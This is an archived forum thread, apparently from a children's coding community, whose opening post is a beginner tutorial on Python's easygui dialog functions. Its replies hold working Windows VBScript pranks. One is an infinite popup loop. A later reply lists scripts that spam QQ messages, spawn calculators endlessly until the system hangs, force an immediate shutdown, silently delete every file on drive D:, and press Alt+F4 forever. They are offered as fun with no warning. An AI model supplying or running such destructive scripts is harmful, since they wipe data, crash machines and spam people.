猫史档案馆


【编程几时休】突然想写easygui......(1)

用户:bLockTheBlOcK块块bLockTheBlOcK块块查看:12 回复:9 评论:12 创建时间:2018-11-10T20:00:04


bLockTheBlOcK今天打开源码编辑器......

……

忽然发现。。。

积木搭不出来了。。。。。。

于是我默默地打开喵编辑器…………

下载了easygui

忽然发现

python的库如此好玩aaaaaaaaa~·~

gui,代表的是图形化界面,如果你不下载并运用,你的程序最后会在一个类似命令提示符的环境执行。

在使用easygui库之前,我们要下载并且导入它哦

代码如下:

import easygui

现在,你可以:

easygui.msgbox('Hello,world!')

但是我更喜欢这样导入easygui:

from easygui import *

现在……

msgbox('Hello,world!')

看吧!不用多打一个'easygui'了。

下面所有的教程将使用这种缩略格式。

1.msgbox——显示消息

easygui直接向我们提供了显示对话框的函数。

center_image

运行结果如下:

center_image

这是只有一个参数的情况。有两个参数时,第一个是内容,第二个是标题。

center_image

||

center_image

第三个参数修改按钮上的内容。

center_image

||

center_image

2.ynbox——回答是否

ynbox一般有三个参数,他们的格式如下:

ynbox(内容,标题,(选项一,选项二))

如果选择选项1,返回True,否则返回False。

center_image

然后……center_image

选择“知道了”center_image

选择“喵”

center_image

成功了!

3.buttonbox——你选了什么?

buttonbox的格式:

buttonbox(内容,标题,(选项一,选项二……))

他返回用户选择项目的名字。

比如:

center_image

center_image

选择“技术喵”

center_image

yeeee!!!

4.enterbox——我像input

enterbox(内容,标题(如果这个不加,默认值也得不加),输入框内默认值(可以不加))

获得输入框里的字符串输入。

center_image

center_image

按下ok

center_image

yeeeeessss!!!!!!!!hahahahah

5.integerbox——整数我能行

可输入一个数字(亲测上限99)

integerbox(内容,标题(如果这个不加,默认值也得不加),输入框内默认值(可以不加))

比如:

center_image

center_image

center_image

本期编程几时休到这里就结束了,下次不见就散~

 

底                                   线

的                                                                        一

个                                                                                                                            普

通                                                                                                                                                     的

帖                                                                                                                                                          子

 

 

by bLockTheBlOcK


回复

上一页1 页 / 共 1下一页
bLockTheBlOcK块块bLockTheBlOcK块块

码字不易,给个精选呗

点赞0


评论


热情的大黄鸡984热情的大黄鸡984

666666

点赞0


评论


Loading-CZXLoading-CZX

用TxT文本文档编辑vbs就好啦

如:

do

msgbox"Hello!"

loop

有意想不到的惊喜呦(我不会告诉你们是无限弹窗的!)

额,好像说出来了

算了

点赞0


评论


Loading-CZXLoading-CZX

用什么ynbox呀、buttonbox呀、enterbox呀、integerbox呀

应该用inputbox更好

懂吗

点赞0


评论


WaZCWaZC

这就是是vbs的格式,脚本语言也emotion_编程猫_冷漠一样

点赞0


评论


bLockTheBlOcK块块bLockTheBlOcK块块

PS:输入超过99的大数,可以用整数化的enterbox!
配合try食用更佳

点赞0


评论


bLockTheBlOcK块块bLockTheBlOcK块块

@所有猴几

点赞0


评论


技术喵技术喵

emotion_编程猫_点赞

点赞0


评论


热情的大黄鸡984热情的大黄鸡984

网上搜集的一些喵程序

 

一、你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的xx替换一下,就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可)。

  ------------------------------------------------------------------------------

  On Error Resume Next

  Dim wsh,ye

  set wsh=createobject("wscript.shell")

  for i=1 to 10

  wscript.sleep 700

  wsh.AppActivate("与 xx 聊天中")

  wsh.sendKeys "^v"

  wsh.sendKeys i

  wsh.sendKeys "%s"

  next

  wscript.quit

  二、打开无数个计算器,直到喵机

  ------------------------------------------------------------------------------

  set wsh=createobject("wscript.shell")

  do

  wsh.run "calc"

  loop

  ------------------------------------------------------------------------------

  三、直接关机

  dim WSHshell

  set WSHshell = wscript.createobject("wscript.shell")

  WSHshell.run "shutdown -f -s -t 00",0 ,true

  -----------------------------------------------------------------------------

  四、删除D:\所有文件

  dim WSHshell

  set WSHshell = wscript.createobject("wscript.shell")

  WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

  ----------------------------------------------------------------------------

  五、不断按下alt+f4 (开什么都关闭)

  dim WSHshell

  set WSHshell = wscript.createobject("wscript.shell")

  while(1)

  WSHshell.SendKeys "%{F4}"

  loop

点赞0


评论